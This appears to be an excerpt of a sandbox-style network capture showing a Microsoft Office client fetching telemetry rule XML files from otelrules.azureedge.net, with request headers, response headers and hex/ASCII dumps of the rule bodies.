2024-12-09 05:49:51 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.11	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:52 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:52 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:52 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054952Z-r1cf579d778lntp7hC1EWR9gg400000006w0000000005v16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:52 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.11	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:53 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 2ca9926f-801e-00a3-36ae-497cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054953Z-r1cf579d778z4wflhC1EWRa3h000000007mg0000000029qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:53 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.11	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:53 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:53 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 5de186aa-101e-007a-6c91-49047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054953Z-r1cf579d7782w22mhC1EWR2ebg00000002cg000000004ybc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:53 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.11	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:53 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:53 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:53 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054953Z-r1cf579d7788pwqzhC1EWRrpd800000007vg000000000yt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:53 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.11	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:53 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:53 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054953Z-r1cf579d778qlpkrhC1EWRpfc8000000086g0000000033ac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.11	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:54 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:54 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 09d70899-501e-008c-3f6d-49cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054954Z-r1cf579d778z4wflhC1EWRa3h000000007k0000000003knv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:54 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.11	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:55 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:55 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054955Z-r1cf579d778mpnwnhC1EWRfgng0000000150000000000nc0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:55 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.11	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:55 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:55 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d116e189-201e-006e-1038-49bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054955Z-r1cf579d778j4j5fhC1EWR3ge800000001200000000038bx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:55 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.11	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:55 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:55 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054955Z-r1cf579d778t6txphC1EWRsd44000000082g000000000zpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:56 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.11	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:55 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:56 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 50a3e18a-001e-0014-7898-495151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054956Z-r1cf579d778j4j5fhC1EWR3ge800000001500000000000cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:56 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.11	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:56 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:56 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 51bfefb4-e01e-001f-6915-491633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054956Z-r1cf579d7788pwqzhC1EWRrpd800000007ug00000000205b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:57 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.11	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:57 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
